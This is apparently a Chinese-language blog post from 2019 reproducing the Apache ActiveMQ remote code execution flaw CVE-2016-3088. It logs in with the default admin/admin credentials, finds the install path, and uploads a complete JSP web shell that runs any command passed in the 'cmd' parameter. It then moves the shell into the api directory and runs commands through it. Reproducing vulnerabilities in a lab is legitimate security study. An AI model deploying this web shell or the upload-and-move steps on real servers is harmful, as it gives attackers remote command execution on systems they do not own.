Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088) 复现

漏洞复现

直接写 shell

写 shell 的话,需要写在 admin 或者 api 中,也就是需要登录,没有密码的话完成不了写 shell 操作。

该环境默认的口令为 admin/admin。

访问 http://ip:8161/admin/test/systemProperties.jsp

获得当前系统的路径

 

 

 

上传 jsp 小马,返回204,但是在 fileserver 路径下不解析

小马
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

 

 

 

 

 

然后移动到 api 目录下,成功的话,返回 204 No Content

 

 

 

 

 

执行命令

http://192.168.73.151:8161/api/9.jsp?cmd=ls

 

 

 

posted @ 2019-09-04 15:45  xyongsec  阅读(5285)  评论(0编辑  收藏  举报